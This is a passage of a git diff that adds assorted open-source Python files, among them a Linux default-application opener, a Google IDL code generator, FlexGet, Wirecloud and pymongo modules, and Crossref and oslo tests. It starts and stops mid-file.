line=='\n':break + if line=='[Default Applications]\n':continue + line = line.strip('\n') + line = line.strip(';') + line = line[:line.find('.')] + _type,value = line.split('=') + self.app_dict[_type]=value + string = _type + ':' + value + '\n' + app_dict.write(string) + mime.close() + app_dict.close + + def addToList(self,filetype,app): + self.app_dict[filetype]=app + self.updateDefaultList() + + def importAppDict(self): + if os.path.isfile(default_applications): + f = open(default_applications,'r') + for line in f: + line = line.strip('\n') + _type,app = line.split(':') + self.app_dict[_type] = app + + + def updateDefaultList(self): + f= open(default_applications,'w+') + for key,value in self.app_dict.items(): + string = key + ':' + value + '\n' + f.write(string) + f.close() + + + def checkList(self,path): + file_type = self.xdgQuery('filetype',path) + if file_type in self.app_dict: return True + return False + + + def openFile(self,path): + file_type = self.xdgQuery('filetype',path) + #self.process = ProcessThread(self.app_dict[file_type],path) + subprocess.Popen([self.app_dict[file_type],path]) + + def xdgQuery(self, command, path): + p = subprocess.Popen(['xdg-mime', 'query', command, path], + stdout=subprocess.PIPE, stderr=subprocess.PIPE) + output, errors = p.communicate() + if p.returncode or errors: + raise XDGError('xdg-mime returned error code %d: %s' % + (p.returncode, errors.strip())) + if command == 'default': + return output + return output.strip().decode('utf-8') + + + def setXdgDefault(self, app, app_type): + subprocess.call(['xdg-mime', 'default', app, app_type]) + + + +class XDGError(Exception): pass + +def main(): + linux = LinuxFileOpener() + linux.importMimeList() + linux.updateDefaultList() + for key,value in linux.app_dict.items(): + print(key,value) + linux.openFile(r'/home/yuuki') + + +if __name__ == '__main__': + main() + + diff --git a/pool/shard009/Python/0084472_setup.py b/pool/shard009/Python/0084472_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..ccf6648e2002665a096d6aef1898570e82aff370 --- /dev/null +++ b/pool/shard009/Python/0084472_setup.py @@ -0,0 +1,13 @@ +# emacs: -*- mode: python; py-indent-offset: 4; indent-tabs-mode: nil -*- +# vi: set ft=python sts=4 ts=4 sw=4 et: +def configuration(parent_package='',top_path=None): + from numpy.distutils.misc_util import Configuration + config = Configuration('transforms', parent_package, top_path) + + config.add_subpackage('tests') + + return config + +if __name__ == '__main__': + from numpy.distutils.core import setup + setup(**configuration(top_path='').todict()) diff --git a/pool/shard009/Python/0084473_codegen.py b/pool/shard009/Python/0084473_codegen.py new file mode 100644 index 0000000000000000000000000000000000000000..ad14662b6f3e54fa59f969f6c13e6e8bc31ac103 --- /dev/null +++ b/pool/shard009/Python/0084473_codegen.py @@ -0,0 +1,240 @@ +#!/usr/bin/python2.4 +# +# Copyright 2008 Google Inc. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +"""Code generator + +This file is the main entry point for the code generator. +To use: + codegen.py --output-dir=output-path --generate=npapi file1.idl file2.idl ... +""" + +import glob +import imp +# Use hashlib if present (Python 2.5 and up), otherwise fall back to md5. +try: + import hashlib +except ImportError: + import md5 +import os +import sys + +import gflags + +# local imports +import idl_parser +import locking +import log +import syntax_tree + +# default supported generators +import header_generator +import cpp_header_generator +import js_header_generator +import npapi_generator +import ppapi_generator + +# default supported binding models +import pod_binding +import enum_binding +import callback_binding +import by_value_binding +import by_pointer_binding +import unsized_array_binding +import nullable_binding + +generators = {'header': header_generator, + 'cppheader': cpp_header_generator, + 'jsheader': js_header_generator, + 'npapi': npapi_generator, + 'ppapi': ppapi_generator} + +binding_models = {'pod': pod_binding, + 'callback': callback_binding, + 'enum': enum_binding, + 'by_value': by_value_binding, + 'by_pointer': by_pointer_binding, + 'unsized_array': unsized_array_binding, + 'nullable': nullable_binding} + + +FLAGS = gflags.FLAGS +gflags.DEFINE_multistring('binding-module', [], 'include a binding model' + ' module. Value is name:path where \'name\' is the' + ' binding model name, and \'path\' is the binding' + ' model module path.') + +gflags.DEFINE_multistring('generator-module', [], 'include a generator module.' + ' Value is name:path where \'name\' is the generator' + ' name, and \'path\' is the generator module path.') + +gflags.DEFINE_multistring('generate', [], 'the generator to use') +gflags.DEFINE_string('output-dir', '.', 'the output directory') + +gflags.DEFINE_boolean('exclusive-lock', False, 'Use file locking to make sure' + ' there is only one instance running at a time.') +gflags.DEFINE_boolean('force', False, 'force generation even if the source' + ' files have not changed') +gflags.DEFINE_boolean('force-docs', False, 'force all members to have' + ' documentation blocks or else raise an exception.') +gflags.DEFINE_boolean('no-return-docs', False, 'remove docs marked as' + ' noreturndocs.') +gflags.DEFINE_boolean('overloaded-function-docs', False, + 'generate special overloaded function docs.') +gflags.DEFINE_boolean('properties-equal-undefined', False, + 'Emit class.prototype.property = undefined;') + +class NativeType(syntax_tree.Definition): + defn_type = 'Native' + + def __init__(self, source, attributes, name, podtype): + syntax_tree.Definition.__init__(self, source, attributes, name) + self.podtype = podtype + self.is_type = True + + def LookUpBindingModel(self): + """Implementation of LookUpBindingModel for NativeType.""" + return 'pod' + + +def GetStdNamespace(): + pod_attributes = {'binding_model': 'pod'} + source_file = idl_parser.File('') + source_file.header = "common.h" + source_file.npapi_cpp = None + source_file.npapi_header = None + source = idl_parser.SourceLocation(source_file, 0) + defn_list = [NativeType(source, pod_attributes, 'string', 'string'), + NativeType(source, pod_attributes, 'wstring', 'wstring')] + return syntax_tree.Namespace(source, [], 'std', defn_list) + + +def GetNativeTypes(): + pod_attributes = {'binding_model': 'pod'} + source_file = idl_parser.File('') + source_file.header = None + source_file.npapi_cpp = None + source_file.npapi_header = None + source = idl_parser.SourceLocation(source_file, 0) + return [NativeType(source, pod_attributes, 'void', 'void'), + NativeType(source, pod_attributes, 'int', 'int'), + NativeType(source, pod_attributes, 'unsigned int', 'int'), + NativeType(source, pod_attributes, 'size_t', 'int'), + NativeType(source, pod_attributes, 'bool', 'bool'), + NativeType(source, pod_attributes, 'float', 'float'), + NativeType(source, pod_attributes, 'double', 'float'), + NativeType(source, pod_attributes, 'Variant', 'variant'), + GetStdNamespace()] + + +def AddModulesFromFlags(table, flag_values, md5_hash): + for entry in flag_values: + string_list = entry.split(':') + name = string_list[0] + path = ':'.join(string_list[1:]) + try: + # hash the extra modules that we load + md5_hash.update(open(path).read()) + table[name] = imp.load_source(name, path) + except IOError: + print 'Could not load module %s.' % path + raise + + +def main(argv): + files = argv[1:] + # generate a hash of all the inputs to figure out if we need to re-generate + # the outputs. + # Use hashlib if present (Python 2.5 and up), otherwise fall back to md5. + if globals().has_key('hashlib'): + md5_hash = hashlib.md5() + else: + md5_hash = md5.new(); + # hash the input files and the source python files (globbing *.py in the + # directory of this file) + for source_file in files + glob.glob(os.path.join(os.path.dirname(__file__), + '*.py')): + md5_hash.update(open(source_file).read()) + # hash the options since they may affect the output + for s in (FLAGS['generator-module'].value + FLAGS['binding-module'].value + + FLAGS.generate + [FLAGS['output-dir'].value]): + md5_hash.update(s) + + # import generator and binding model modules, and hash them + AddModulesFromFlags(generators, FLAGS['generator-module'].value, md5_hash) + AddModulesFromFlags(binding_models, FLAGS['binding-module'].value, md5_hash) + + output_dir = FLAGS['output-dir'].value + if not os.path.isdir(output_dir): + os.makedirs(output_dir) + + hash_filename = os.path.join(output_dir, 'hash') + hash_value = md5_hash.hexdigest() + if not FLAGS.force: + try: + hash_file = open(hash_filename, 'r') + # Don't read while others are writing... + if FLAGS['exclusive-lock'].value: + locking.lockf(hash_file, locking.LOCK_SH) + + old_hash = hash_file.read() + + if FLAGS['exclusive-lock'].value: + locking.lockf(hash_file, locking.LOCK_UN) + hash_file.close() + + if hash_value == old_hash: + print "Source files haven't changed: nothing to generate." + return + except IOError: + # Could not load the hash file, so there must be stuff to + # generate. + pass + + hash_file = open(hash_filename, 'w') + if FLAGS['exclusive-lock'].value: + locking.lockf(hash_file, locking.LOCK_EX) + + my_parser = idl_parser.Parser(output_dir) + pairs = [] + for f in files: + idl_file = idl_parser.File(f) + defn = my_parser.Parse(idl_file) + pairs.append((idl_file, defn)) + definitions = sum([defn for (f, defn) in pairs], []) + GetNativeTypes() + global_namespace = syntax_tree.Namespace(None, [], '', definitions) + syntax_tree.FinalizeObjects(global_namespace, binding_models) + + writer_list = [] + for generator_name in FLAGS.generate: + try: + generator = generators[generator_name] + writer_list += generator.ProcessFiles(output_dir, pairs, global_namespace) + except KeyError: + print 'Unknown generator %s.' % generator_name + raise + for writer in writer_list: + writer.Write() + + # Save hash for next time + hash_file.write(hash_value) + if FLAGS['exclusive-lock'].value: + locking.lockf(hash_file, locking.LOCK_UN) + hash_file.close() + log.FailIfHaveErrors() + + +if __name__ == '__main__': + main(FLAGS(sys.argv)) diff --git a/pool/shard009/Python/0084475_variables.py b/pool/shard009/Python/0084475_variables.py new file mode 100644 index 0000000000000000000000000000000000000000..e8c2647cc311de4ba553143268f5f19d692d9b33 --- /dev/null +++ b/pool/shard009/Python/0084475_variables.py @@ -0,0 +1,125 @@ +from __future__ import unicode_literals, division, absolute_import +from builtins import * # noqa pylint: disable=unused-import, redefined-builtin + +import codecs +import logging +import os +from datetime import datetime + +import yaml + +from jinja2 import TemplateError +from jinja2.nativetypes import NativeEnvironment + +from sqlalchemy import Column +from sqlalchemy.sql.sqltypes import Unicode, DateTime, Integer + +from flexget import db_schema +from flexget.config_schema import register_config_key +from flexget.event import event +from flexget.manager import Session +from flexget.plugin import PluginError +from flexget.utils.database import json_synonym + +log = logging.getLogger('variables') + +DB_VERSION = 0 +Base = db_schema.versioned_base('variables', DB_VERSION) + + +class Variables(Base): + __tablename__ = 'variables' + + id = Column(Integer, primary_key=True) + _variables = Column('variables', Unicode) + variables = json_synonym('_variables') + added = Column(DateTime, default=datetime.now) + + +def variables_from_file(config_base, filename): + variables_file = os.path.join(config_base, filename) + if not os.path.exists(variables_file): + raise PluginError('File %s does not exist!' % variables_file) + try: + with codecs.open(variables_file, 'rb', 'utf-8') as f: + variables_dict = yaml.safe_load(f.read()) + except yaml.YAMLError as e: + raise PluginError('Invalid variables file: %s' % e) + return variables_dict or {} + + +def variables_from_db(): + with Session() as session: + variables = session.query(Variables).first() + if variables: + return variables.variables + else: + return {} + + +def variables_to_db(variables_dict): + with Session() as session: + variables = session.query(Variables).first() + if not variables: + variables = Variables() + variables.variables = variables_dict + session.merge(variables) + + +@event('manager.before_config_validate') +def process_variables(config, manager): + """Render all string elements of the config against defined variables.""" + env_params = { + 'block_start_string': '^^disabled^^', + 'block_end_string': '^^disabled^^', + 'variable_start_string': '{?', + 'variable_end_string': '?}' + } + if 'variables' not in config or config.get('variables') is False: + return + env = NativeEnvironment(**env_params) + if isinstance(config['variables'], bool): + log.debug('trying to load variables from DB') + variables = variables_from_db() + elif isinstance(config['variables'], dict): + log.debug('loading variables from config') + variables = config['variables'] + else: + log.debug('trying to load variables from file') + variables = variables_from_file(manager.config_base, config['variables']) + log.debug('updating DB with variable file contents') + variables_to_db(variables) + env.globals = variables + _process(config, env) + return config + + +def _process(element, environment): + if isinstance(element, dict): + for k, v in element.items(): + new_key = _process(k, environment) + if new_key: + element[new_key] = element.pop(k) + k = new_key + val = _process(element[k], environment) + if val: + element[k] = val + elif isinstance(element, list): + for i, v in enumerate(element): + val = _process(v, environment) + if val: + element[i] = val + elif isinstance(element, str) and '{?' in element: + try: + template = environment.from_string(element) + return template.render() + except (TemplateError, TypeError): + return None + + +variables_config_schema = {'type': ['string', 'boolean', 'object']} + + +@event('config.register') +def register_config(): + register_config_key('variables', variables_config_schema) diff --git a/pool/shard009/Python/0084483_mixins.py b/pool/shard009/Python/0084483_mixins.py new file mode 100644 index 0000000000000000000000000000000000000000..5fcb1bfa247746d107d8bd5b1da4de058980060e --- /dev/null +++ b/pool/shard009/Python/0084483_mixins.py @@ -0,0 +1,100 @@ +############################################################################### +## +## Copyright (C) 2014-2016, New York University. +## Copyright (C) 2011-2014, NYU-Poly. +## Copyright (C) 2006-2011, University of Utah. +## All rights reserved. +## Contact: contact@vistrails.org +## +## This file is part of VisTrails. +## +## "Redistribution and use in source and binary forms, with or without +## modification, are permitted provided that the following conditions are met: +## +## - Redistributions of source code must retain the above copyright notice, +## this list of conditions and the following disclaimer. +## - Redistributions in binary form must reproduce the above copyright +## notice, this list of conditions and the following disclaimer in the +## documentation and/or other materials provided with the distribution. +## - Neither the name of the New York University nor the names of its +## contributors may be used to endorse or promote products derived from +## this software without specific prior written permission. +## +## THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +## AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, +## THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +## PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR +## CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, +## EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, +## PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; +## OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, +## WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +## OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF +## ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +## +############################################################################### + +from __future__ import division + +class MplCorrBaseMixin(object): + def compute_after(): + if 'usevlines' in kwargs and kwargs['usevlines']: + output = output + (output[2],) + else: + output = output + (None, None) + +class MplAcorrMixin(MplCorrBaseMixin): + pass + +class MplXcorrMixin(MplCorrBaseMixin): + pass + +class MplBoxplotMixin(object): + def compute_after(): + if 'patch_artist' in kwargs and kwargs['patch_artist']: + output['boxPatches'] = output['boxes'] + output['boxes'] = [] + else: + output['boxPatches'] = [] + +class MplContourBaseMixin(object): + def compute_before(): + if self.has_input("N") and self.has_input("V"): + del args[-1] + +class MplContourMixin(MplContourBaseMixin): + def compute_inner(): + contour_set = matplotlib.pyplot.contour(*args, **kwargs) + output = (contour_set, contour_set.collections) + +class MplContourfMixin(MplContourBaseMixin): + def compute_inner(): + contour_set = matplotlib.pyplot.contourf(*args, **kwargs) + output = (contour_set, contour_set.collections) + +class MplPieMixin(object): + def compute_after(): + if len(output) < 3: + output = output + ([],) + +class MplAnnotateMixin(object): + def compute_before(): + if self.has_input("fancyArrowProperties"): + kwargs['arrowprops'] = \ + self.get_input("fancyArrowProperties").props + elif self.has_input("arrowProperties"): + kwargs['arrowprops'] = \ + self.get_input("arrowProperties").props + +class MplSpyMixin(object): + def compute_after(): + if "marker" not in kwargs and "markersize" not in kwargs and \ + not hasattr(kwargs["Z"], 'tocoo'): + output = (output, None) + else: + output = (None, output) + +class MplBarMixin(object): + def compute_before(self): + if not kwargs.has_key('left'): + kwargs['left'] = range(len(kwargs['height'])) diff --git a/pool/shard009/Python/0084488_catalogue_manager.py b/pool/shard009/Python/0084488_catalogue_manager.py new file mode 100644 index 0000000000000000000000000000000000000000..804464f4c7eb3fad4fa925ca1e6c15cce0527460 --- /dev/null +++ b/pool/shard009/Python/0084488_catalogue_manager.py @@ -0,0 +1,88 @@ +# -*- coding: utf-8 -*- + +# Copyright (c) 2012-2014 CoNWeT Lab., Universidad Politécnica de Madrid + +# This file is part of Wirecloud. + +# Wirecloud is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. + +# Wirecloud is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. + +# You should have received a copy of the GNU Affero General Public License +# along with Wirecloud. If not, see . + +import json +import os +import requests +from six.moves.urllib.parse import urljoin + +from django.utils.encoding import iri_to_uri + +from wirecloud.catalogue.models import CatalogueResource +import wirecloud.catalogue.utils as catalogue_utils +from wirecloud.commons.utils.downloader import download_http_content, download_local_file +from wirecloud.commons.utils.template import TemplateParser +from wirecloud.platform.localcatalogue.utils import install_resource_to_user +from wirecloud.platform.markets.utils import MarketManager + + +class WirecloudCatalogueManager(MarketManager): + + _user = None + _name = None + _options = None + + def __init__(self, user, name, options): + + self._user = user + self._name = name + self._options = options + + def search_resource(self, vendor, name, version, user): + + if self._name == 'local': + resources = CatalogueResource.objects.filter(vendor=vendor, short_name=name, version=version)[:1] + + if len(resources) == 1: + resource = resources[0] + base_dir = catalogue_utils.wgt_deployer.get_base_dir(vendor, name, version) + downloaded_file = download_local_file(os.path.join(base_dir, resource.template_uri)) + + return { + 'downloaded_file': downloaded_file, + } + else: + return None + else: + + path = '/'.join(('catalogue', 'resource', vendor, name, version)) + url = iri_to_uri(urljoin(self._options['url'], path)) + response = requests.get(url) + + if response.status_code == 200: + data = json.loads(response.content) + downloaded_file = download_http_content(data['uriTemplate'], user=user) + return { + 'downloaded_file': downloaded_file, + 'template_url': data['uriTemplate'], + 'packaged': data['packaged'] + } + else: + return None + + def publish(self, endpoint, wgt_file, user, request=None, template=None): + + if self._name == 'local': + + if template is None: + template = TemplateParser(wgt_file.get_template()) + + return install_resource_to_user(user, file_contents=wgt_file, packaged=True, raise_conflicts=True) + else: + raise Exception('TODO') diff --git a/pool/shard009/Python/0084492_register_test.py b/pool/shard009/Python/0084492_register_test.py new file mode 100644 index 0000000000000000000000000000000000000000..cf11ca18caef3113d65fe61459e27bd6f908a981 --- /dev/null +++ b/pool/shard009/Python/0084492_register_test.py @@ -0,0 +1,136 @@ +import os +from datetime import datetime + +import pytest +from stencila.schema.json import object_encode +from stencila.schema.types import Article, CreativeWork, Person, PropertyValue, Review + +from .register import Register + +# These tests use a `pytest-recording` "casette" to record resposes from https://test.crossref.org/ +# Those casettes has had any sensitive data redacted from them. +# To re-record casettes do +# CROSSREF_DEPOSIT_CREDENTIALS=username:password ./venv/bin/pytest --record-mode=rewrite jobs/register_test.py + +# Pretend these credentials have been set so that we can reuse the +# recorded casettes +credentials = os.getenv("CROSSREF_DEPOSIT_CREDENTIALS", "username:password") + + +def is_isodate(value: str) -> bool: + """Test that a string is a valid ISO date.""" + return isinstance(datetime.fromisoformat(value.replace("Z", "+00:00")), datetime) + + +@pytest.mark.vcr +def test_register_article(): + """ + Test registration of an Article. + """ + article = object_encode( + Article( + authors=[object_encode(Person(givenNames=["Joe"], familyNames=["James"]))], + title="My preprint", + ) + ) + + job = Register(credentials=credentials) + result = job.do( + node=article, + doi="10.47704/54320", + url="https://example.org", + batch="the-unique-batch-id", + ) + + assert isinstance(result, dict) + assert is_isodate(result["deposited"]) + assert isinstance(result["deposit_request"], dict) + assert isinstance(result["deposit_response"], dict) + assert result["deposit_success"] + + +@pytest.mark.vcr +def test_register_review(): + """ + Test registration of a Review. + """ + review = object_encode( + Review( + authors=[object_encode(Person(givenNames=["Joe"], familyNames=["James"]))], + title="Review of my preprint", + itemReviewed=object_encode( + Article( + identifiers=[ + object_encode(PropertyValue(name="doi", value="10.5555/54320")) + ] + ) + ), + ) + ) + + job = Register(credentials=credentials) + result = job.do( + node=review, + doi="10.47704/54321", + url="https://example.org", + batch="the-unique-batch-id", + ) + + assert isinstance(result, dict) + assert is_isodate(result["deposited"]) + assert isinstance(result["deposit_request"], dict) + assert isinstance(result["deposit_response"], dict) + assert result["deposit_success"] + + +@pytest.mark.vcr +def test_register_utf8(): + """ + Test registration of an article with UTF-8 chars. + """ + job = Register(credentials=credentials) + result = job.do( + node=object_encode(Article(title="A title with non-ASCII chars Й in it.")), + doi="10.47704/54321", + url="https://example.org", + batch="the-unique-batch-id", + ) + + assert result["deposit_success"] + + +@pytest.mark.vcr +def test_bad_credentials(): + """ + Test incorrect credentials error. + """ + job = Register(credentials="foo:bar") + result = job.do( + node=object_encode(Article()), + doi="10.5555/54321", + url="https://example.org", + batch="the-unique-batch-id", + ) + + assert isinstance(result, dict) + assert is_isodate(result["deposited"]) + assert isinstance(result["deposit_request"], dict) + assert isinstance(result["deposit_response"], dict) + assert not result["deposit_success"] + + +def test_no_credentials(): + """ + Test no credentials error. + """ + if "CROSSREF_DEPOSIT_CREDENTIALS" in os.environ: + del os.environ["CROSSREF_DEPOSIT_CREDENTIALS"] + job = Register() + result = job.do( + node=object_encode(Article()), + doi="10.5555/54321", + url="https://example.org", + batch="the-unique-batch-id", + ) + assert isinstance(result, dict) + assert len(result.keys()) == 0 diff --git a/pool/shard009/Python/0084495_test_request_id.py b/pool/shard009/Python/0084495_test_request_id.py new file mode 100644 index 0000000000000000000000000000000000000000..549d7be0c004e87415045f078c4bf8cc663500af --- /dev/null +++ b/pool/shard009/Python/0084495_test_request_id.py @@ -0,0 +1,37 @@ +# Copyright (c) 2013 NEC Corporation +# All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + + +from oslotest import base as test_base +from testtools import matchers +import webob +import webob.dec + +from oslo.middleware import request_id + + +class RequestIdTest(test_base.BaseTestCase): + def test_generate_request_id(self): + @webob.dec.wsgify + def application(req): + return req.environ[request_id.ENV_REQUEST_ID] + + app = request_id.RequestId(application) + req = webob.Request.blank('/test') + res = req.get_response(app) + res_req_id = res.headers.get(request_id.HTTP_RESP_HEADER_REQUEST_ID) + self.assertThat(res_req_id, matchers.StartsWith(b'req-')) + # request-id in request environ is returned as response body + self.assertEqual(res_req_id, res.body) diff --git a/pool/shard009/Python/0084497_models.py b/pool/shard009/Python/0084497_models.py new file mode 100644 index 0000000000000000000000000000000000000000..53a0bc04ba0365bb1d62264d76f196ab6e8ef4c0 --- /dev/null +++ b/pool/shard009/Python/0084497_models.py @@ -0,0 +1,143 @@ +# -*- coding: utf-8 -*- + +# Copyright (c) 2011-2016 CoNWeT Lab., Universidad Politécnica de Madrid + +# This file is part of Wirecloud. + +# Wirecloud is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. + +# Wirecloud is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. + +# You should have received a copy of the GNU Affero General Public License +# along with Wirecloud. If not, see . + +from __future__ import unicode_literals + +import os +import random + +from django.core.cache import cache +from django.db import models +from django.db.models.signals import pre_delete, post_save +from django.dispatch import receiver +from django.utils.encoding import python_2_unicode_compatible +from django.utils.translation import ugettext as _ + +from wirecloud.catalogue.models import CatalogueResource +from wirecloud.commons.utils.wgt import WgtFile + + +@python_2_unicode_compatible +class XHTML(models.Model): + + uri = models.CharField(_('URI'), max_length=255, unique=True) + code = models.TextField(_('Code'), blank=True) + code_timestamp = models.BigIntegerField(_('Cache timestamp'), null=True, blank=True) + url = models.CharField(_('URL'), max_length=500) + content_type = models.CharField(_('Content type'), max_length=50, blank=True, null=True) + use_platform_style = models.BooleanField(_('Uses platform style'), default=False) + cacheable = models.BooleanField(_('Cacheable'), default=True, blank=True) + + def __str__(self): + return self.uri + + def get_cache_key(self, domain, mode, theme): + version = cache.get('_widget_xhtml_version/%s' % self.id) + if version is None: + version = random.randrange(1, 100000) + cache.set('_widget_xhtml_version/%s' % self.id, version) + + return '_widget_xhtml/%s/%s/%s?mode=%s&theme=%s' % (version, domain, self.id, mode, theme) + + def delete(self, *args, **kwargs): + old_id = self.id + super(XHTML, self).delete(*args, **kwargs) + try: + cache.incr('_widget_xhtml_version/%s' % old_id) + except ValueError: + pass + + class Meta: + app_label = 'platform' + db_table = 'wirecloud_xhtml' + + +class WidgetManager(models.Manager): + + def get_query_set(self): + return super(WidgetManager, self).get_query_set().select_related('resource') + + +@python_2_unicode_compatible +class Widget(models.Model): + + resource = models.OneToOneField('catalogue.CatalogueResource') + + xhtml = models.ForeignKey(XHTML) + objects = WidgetManager() + + @property + def uri(self): + return '/'.join((self.resource.vendor, self.resource.short_name, self.resource.version)) + + class Meta: + ordering = ('resource__vendor', 'resource__short_name', 'resource__version') + app_label = 'platform' + db_table = 'wirecloud_widget' + + def is_available_for(self, user): + + return self.resource.is_available_for(user) + + def delete(self, *args, **kwargs): + + try: + self.xhtml.delete() + except XHTML.DoesNotExist: + pass + + import wirecloud.platform.widget.utils as showcase_utils + showcase_utils.wgt_deployer.undeploy(self.resource.vendor, self.resource.short_name, self.resource.version) + super(Widget, self).delete(*args, **kwargs) + + def __str__(self): + return self.uri + + +@receiver(post_save, sender=CatalogueResource) +def create_widget_on_resource_creation(sender, instance, created, raw, **kwargs): + + from wirecloud.catalogue import utils as catalogue + from wirecloud.platform.widget.utils import create_widget_from_wgt + + if not created or raw: + return + + resource = instance + if resource.resource_type() == 'widget': + try: + resource.widget + except Widget.DoesNotExist: + base_dir = catalogue.wgt_deployer.get_base_dir(resource.vendor, resource.short_name, resource.version) + wgt_file = WgtFile(os.path.join(base_dir, resource.template_uri)) + resource.widget = create_widget_from_wgt(wgt_file, resource.creator) + + # Restore any iwidget associated with this widget + from wirecloud.platform.iwidget.models import IWidget + + IWidget.objects.filter(widget_uri=resource.local_uri_part).update(widget=resource.widget) + + +@receiver(pre_delete, sender=CatalogueResource) +def delete_widget_on_resource_deletion(sender, instance, using, **kwargs): + if instance.resource_type() == 'widget': + try: + instance.widget.delete() + except Widget.DoesNotExist: + pass diff --git a/pool/shard009/Python/0084503_server.py b/pool/shard009/Python/0084503_server.py new file mode 100644 index 0000000000000000000000000000000000000000..f4f40221699ce7a7a8b34957a967ac377cc61341 --- /dev/null +++ b/pool/shard009/Python/0084503_server.py @@ -0,0 +1,196 @@ +# Copyright 2009-2015 MongoDB, Inc. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you +# may not use this file except in compliance with the License. You +# may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or +# implied. See the License for the specific language governing +# permissions and limitations under the License. + +"""Communicate with one MongoDB server in a topology.""" + +import contextlib + +from datetime import datetime + +from pymongo.errors import ConfigurationError +from pymongo.message import _Query, _convert_exception +from pymongo.response import Response, ExhaustResponse +from pymongo.server_type import SERVER_TYPE + + +class Server(object): + def __init__(self, server_description, pool, monitor, topology_id=None, + listeners=None, events=None): + """Represent one MongoDB server.""" + self._description = server_description + self._pool = pool + self._monitor = monitor + self._topology_id = topology_id + self._publish = listeners is not None and listeners.enabled_for_server + self._listener = listeners + self._events = None + if self._publish: + self._events = events() + + def open(self): + """Start monitoring, or restart after a fork. + + Multiple calls have no effect. + """ + self._monitor.open() + + def reset(self): + """Clear the connection pool.""" + self.pool.reset() + + def close(self): + """Clear the connection pool and stop the monitor. + + Reconnect with open(). + """ + if self._publish: + self._events.put((self._listener.publish_server_closed, + (self._description.address, self._topology_id))) + self._monitor.close() + self._pool.reset() + + def request_check(self): + """Check the server's state soon.""" + self._monitor.request_check() + + def send_message(self, message, all_credentials): + """Send an unacknowledged message to MongoDB. + + Can raise ConnectionFailure. + + :Parameters: + - `message`: (request_id, data). + - `all_credentials`: dict, maps auth source to MongoCredential. + """ + _, data, max_doc_size = self._split_message(message) + with self.get_socket(all_credentials) as sock_info: + sock_info.send_message(data, max_doc_size) + + def send_message_with_response( + self, + operation, + set_slave_okay, + all_credentials, + listeners, + exhaust=False): + """Send a message to MongoDB and return a Response object. + + Can raise ConnectionFailure. + + :Parameters: + - `operation`: A _Query or _GetMore object. + - `set_slave_okay`: Pass to operation.get_message. + - `all_credentials`: dict, maps auth source to MongoCredential. + - `listeners`: Instance of _EventListeners or None. + - `exhaust` (optional): If True, the socket used stays checked out. + It is returned along with its Pool in the Response. + """ + with self.get_socket(all_credentials, exhaust) as sock_info: + + duration = None + publish = listeners.enabled_for_commands + if publish: + start = datetime.now() + + use_find_cmd = False + if sock_info.max_wire_version >= 4: + if not exhaust: + use_find_cmd = True + elif (isinstance(operation, _Query) and + not operation.read_concern.ok_for_legacy): + raise ConfigurationError( + 'read concern level of %s is not valid ' + 'with a max wire version of %d.' + % (operation.read_concern.level, + sock_info.max_wire_version)) + + message = operation.get_message( + set_slave_okay, sock_info.is_mongos, use_find_cmd) + request_id, data, max_doc_size = self._split_message(message) + + if publish: + encoding_duration = datetime.now() - start + cmd, dbn = operation.as_command() + listeners.publish_command_start( + cmd, dbn, request_id, sock_info.address) + start = datetime.now() + + try: + sock_info.send_message(data, max_doc_size) + response_data = sock_info.receive_message(1, request_id) + except Exception as exc: + if publish: + duration = (datetime.now() - start) + encoding_duration + failure = _convert_exception(exc) + listeners.publish_command_failure( + duration, failure, next(iter(cmd)), request_id, + sock_info.address) + raise + + if publish: + duration = (datetime.now() - start) + encoding_duration + + if exhaust: + return ExhaustResponse( + data=response_data, + address=self._description.address, + socket_info=sock_info, + pool=self._pool, + duration=duration, + request_id=request_id, + from_command=use_find_cmd) + else: + return Response( + data=response_data, + address=self._description.address, + duration=duration, + request_id=request_id, + from_command=use_find_cmd) + + @contextlib.contextmanager + def get_socket(self, all_credentials, checkout=False): + with self.pool.get_socket(all_credentials, checkout) as sock_info: + yield 